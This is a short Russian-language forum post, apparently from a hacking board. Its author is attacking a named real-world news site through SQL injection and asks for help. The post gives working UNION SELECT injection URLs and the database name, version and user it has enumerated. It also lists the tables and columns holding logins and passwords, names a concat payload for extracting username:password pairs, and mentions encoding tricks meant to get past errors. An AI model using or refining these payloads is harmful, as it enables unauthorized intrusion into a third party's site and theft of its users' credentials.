Привет,
Есть адрес :
http://magicweb.md/news.php?id=-28+union+select+1,2,3,4,5,6,7/*

DataBase() : usr_mweb2_4
Version() : 5.0.32-Debian_7etch8-log
User() : mweb2@localhost

Tables ### jos_users ,user
Columns ### ID , group_ID , login , pass , name , email ,lastvisit , ---(это от таблицы user) |

id , name , username , email , password , usertype --- (от таблицы jos_users )

Вопрос :
Я когда пытаюсь писать например :
magicweb.md/news.php?id=-28+union+select+1,2,3,concat(username,0x3A,passwor d)+from+jos_users/*
То выскакивает ошибка. Я пытался обходить типа unhex(hex(username)) ,ili convert(username+using+latin1) ... но у меня не выходит вывести данные с таблицы . Подскажите пожалуйста что делать .